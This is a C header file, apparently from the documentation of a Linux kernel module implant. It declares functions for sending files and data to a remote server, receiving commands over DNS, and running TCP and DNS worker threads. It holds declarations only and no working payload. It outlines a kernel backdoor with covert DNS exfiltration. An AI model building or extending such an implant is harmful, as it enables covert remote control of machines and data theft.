network.h

Go to the documentation of this file.

#ifndef NETWORK_H
#define NETWORK_H
 
#include <linux/delay.h>
#include <linux/errno.h>
#include <linux/fcntl.h>
#include <linux/in.h>
#include <linux/inet.h>
#include <linux/kthread.h>
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/net.h>
#include <linux/random.h>
#include <linux/socket.h>
#include <linux/uio.h>
 
#include "config.h"
#include "crypto.h"
#include "cmd.h"
 
// network.c
int send_to_server_raw(const char *data, size_t len);           // Send a message to the server
int send_to_server(enum Protocol protocol, char *message, ...); // Send a formatted message to the server (DNS or TCP)
int receive_from_server(char *buffer, size_t len);              // Receive a message from the server
int send_file_to_server(char *filename);                        // Send a file to the server
 
// protocols/tcp/socket.c
struct socket *get_worker_socket(void);                         // Get the worker socket
struct socket *set_worker_socket(struct socket *s);             // Set the worker socket
int close_worker_socket(void);                                  // Close the worker socket
int connect_worker_socket_to_server(struct sockaddr_in *addr);  // Connect the worker socket to the server
 
// protocols/tcp/worker.c
bool is_user_auth(void);                                        // Check if the user is authenticated
int set_user_auth(bool auth);                                   // Set the user authentication status
int start_network_worker(void);                                 // Start the network worker thread
int stop_network_worker(void);                                  // Stop the network worker thread
 
// protocols/dns/dns.c
int dns_send_data(const char *data, size_t len);                // Send data over DNS
int dns_receive_command(char *buffer, size_t max_len);          // Receive command over DNS
 
// protocols/dns/worker.c
int start_dns_worker(void);                                     // Start the DNS worker thread
int stop_dns_worker(void);                                      // Stop the DNS worker thread
 
#endif /* NETWORK_H */